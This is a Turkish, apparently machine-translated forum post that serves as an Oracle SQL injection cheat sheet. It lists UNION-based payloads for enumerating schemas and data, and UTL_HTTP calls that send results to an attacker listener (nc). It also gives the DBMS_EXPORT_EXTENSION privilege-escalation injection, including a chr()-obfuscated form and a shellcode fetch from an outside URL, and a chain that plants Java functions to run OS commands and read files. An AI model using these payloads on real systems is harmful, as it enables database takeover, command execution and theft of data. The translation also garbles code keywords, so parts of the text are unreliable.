|
|
Yayınlandı 24.01.2015 12:58:17
|
|
|

Bu gönderi son 2015-1-24 13:01 tarihinde test tarafından düzenlenmiştir
Yorum: -- Çoklu cümle icrası desteklenmez ve federasyon sorguları desteklenmektedir Veritabanı isimleri, tablo adları ve sütun adları hepsi büyük harfle yazılır.
uzunluk (alan) ascii(substr(alan, N, 1))
ve (ikili saydan sayı(*) seçin)>0 -- Oracle olup olmadığını belirleyin
N-- tarafından sipariş edildi--
ve 1=2 birleşik seçici null, null,.....,null çift ile birlikte-- null yerine N veya 'N' ile değiştirin
ve 1=2 union select null, (sql ifadesi) ,.....,dual '- 'N'de (sql ifadesi) olarak değiştirilir
ve (all_objects'dan count(*) seç, burada object_name='UTL_HTTP')>0 -- UTL_HTTP'in desteklenip desteklenmediğini belirleyin (ihracat IP'si bilinir)
ve UTL_HTTP.request('http://LocalIP:port'|| (SQL ifadesi)) =1-- Uzaktan mesajları yerel, yerel dinleme nc -vv -l -p 1234
SQL ifadeleri Oracle versiyonunu sorgulamak için rownum=1 olan sys.v_$version'dan banner seçin v$logfile'dan üye seçin burada rownum=1 Log dosyası yolunu sorgulayın (Windows veya Linux) veritabanı dinleme IP'sini sorgulamak için dual arasından utl_inaddr.get_host_address seçin v$instance'dan instance_name seçin ve sid'i sorgulayın v$veritabanından adı seç Mevcut veritabanı adını sorgula Dual Inquiry Database kullanıcılarından sys_context ('userenv','current_user') seçin Mevcut kullanıcı izinlerini sorgulamak için session_roles içinden * seçin burada rownum=1 session_roles'den * seçin burada rownum=1 [ve role<>'ilk izin adı']
user_tables'den table_name seçin burada rownum=1 Mevcut veritabanının ilk tablo segmenti table_name||','|| seç tablespace_name user_tables'den sıranum=1 İlk tablo segmenti, veritabanı (doğrulama için v$database olmayabilir) user_tables'dan table_name seçin, burada rownum=1 ve table_name<>'birinci tablo segmenti' Mevcut veritabanının ikinci tablo segmenti
user_tab_columns'den column_name seçin, burada rownum=1 ve table_name='Tablo Segmenti' Tablo adına karşılık gelen ilk alan user_tab_columns'tan column_name seçin, burada rownum=1 ve table_name='Tablo segmenti' ve column_name<>'İlk alan' Tablo adına karşılık gelen ikinci alan
Tablo segmentinden alan seç, burada rownum=1 ilk satır içeriğini ihlal eder Tablo segmentinden alan seç, burada rownum=1 ve alan <> 'ilk satır içeriği' ikinci satır içeriğini ortaya koyar.
Kütüphane Çapraz all_tables arasından sahibini seçin; burada rownum=1 ilk veritabanı adını sorar all_tables arasından sahibini seçin burada rownum=1 ve owner<> 'İlk veritabanı adı' ile ikinci veritabanı adını sorgulayın
all_tables'den table_name seçin, burada rownum=1 ve owner='database name' Karşılık gelen veritabanının ilk tablo adını sorgulayın all_tables'den table_name seçin, burada rownum=1 ve owner='veritabanı adı' ve table_name<>'ilk tablo adı' ile ilgili veritabanının ikinci tablo adını sorgulayın
all_tab_columns'tan column_name seçin; burada rownum=1 ve owner='veritabanı adı' ve table_name='tablo segmenti' Tablo adına karşılık gelen ilk alan all_tab_columns'dan column_name seçin; burada rownum=1 ve owner='veritabanı adı' ve table_name='tablo segmenti' ve column_name<>'ilk alan' Tablo adına karşılık gelen ikinci alan
Veritabanından alanı seçin. Tablo Segmenti, burada rownum=1 ilk satırın içeriğini ihlal eder Veritabanından alanı seçin. Rownum=1 ve <> 'First Line Content' alan tablo bölümü ikinci satır içeriğini ihlal eder
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); çoklu ifadeli END; --','SYS',0,'1',0)--
'Escaped' ise, chr() kullanılır.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Çoklu ifadeler || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Birden fazla cümle çok uzunsa, ifadeyi web sitesi dosyasına yazabilir ve utl_http.request ile geri alabilirsiniz.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Bir JAVA paketi oluştur SecTest runCMD, sistem komutlarını çalıştırmak için kullanılır ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN UYGULAYIN'' PRAGMA ILAN AUTONOMOUS_TRANSACTION; HEMEN YÜRÜTMEYE BAŞLA'' import java.io.* olarak "SecTest" adlı java kaynağını oluştur veya değiştirip derle; public class SecTest extend Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream()))); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); dönüş str; }catch(İstisna e){return e.toString(); }}}''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--
readFile dosyayı okumak için kullanılır ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN UYGULAYIN'' PRAGMA ILAN AUTONOMOUS_TRANSACTION; HEMEN YÜRÜTMEYE BAŞLA'' import java.io.* olarak "SecTest" adlı java kaynağını oluştur veya değiştirip derle; public class SecTest genişletir Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); dönüş str; }catch(İstisna e){return e.toString(); }}}''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--
Java izinlerini ver ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; BAŞLAT HEMEN YÜRÜTÜN ''''başla dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''infaz ''''''''); son; ''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--
Bir fonksiyon oluşturun SecRunCMD fonksiyonu ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; BAŞLAT BAŞLAT HEMEN ''''yarat veya değiştir fonksiyonu SecRunCMD(p_cmd in varchar2) geri döndür dil olarak varchar2 dilini döndür java adı''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--
SecReadFile fonksiyonu ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; BAŞLAT HEMEN YÜRÜT '''''yarat veya değiştir fonksiyonu SecReadFile(varchar2'de dosya adı) varchar2'yi dil olarak geri döndür java adı''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--
Kamu işlevinin yerine getirilmesine izin verildi SecRunCMD'ye izinler verilmiştir ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; HEMEN UYGULAMAYA BAŞLA '''SecRunCMD'deki tüm bilgileri halka ver'''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--
SecReadFile ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; HEMEN YÜRÜTMEYE BAŞLA ''SecReadFile'deki tüm işlemleri halka ver'''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--
Fonksiyonun başarılı bir şekilde oluşturulup oluşturulmadığını tespit eder ve (all_objects'dan count(*) seç, burada object_name='SECRUNCMD')>0-- ve (all_objects'dan count(*) seç, burada object_name='SECREADFILE')>0--
Komutu uygula ve '1'<>(Select sys. SecRunCMD('Komutu Çalıştır') dual'dan)-- ve '1'<>(Select sys. SecReadFile('dosya fiziksel adresi') çift modelden)-- veya ve 1=2 birlik seçmeli null,...,sys. SecRunCMD('komutu çalıştır'),...,dual bölgeden null ve 1=2 birlik seçmeli null,...,sys. SecReadFile('dosya fiziksel adresi'),...,çift sıfır-- veya ve '1'<>(UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecRunCMD('Komutu Yürüt'),' ',' '),'\n',' ')) çift halinden)-- ve '1'<>(UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecReadFile('Dosya Fiziksel Adresi'),' ',','\n',' ')) dual)--
Silme fonksiyonu ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; BAŞLAT EXECUTE IMMEDIATE 'drop fonksiyonu SecRunCMD''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)-- ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; BAŞLAT HEMEN YÜRÜTME ''''fonksiyonu bırak SecReadFile'''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)-- |
Önceki:Ölçülü başvuru yapabilir miyim, hangi koşullara ihtiyacım var?Önümüzdeki:ORALCE, ana bilgisayar adını ve IP adresini elde eder
|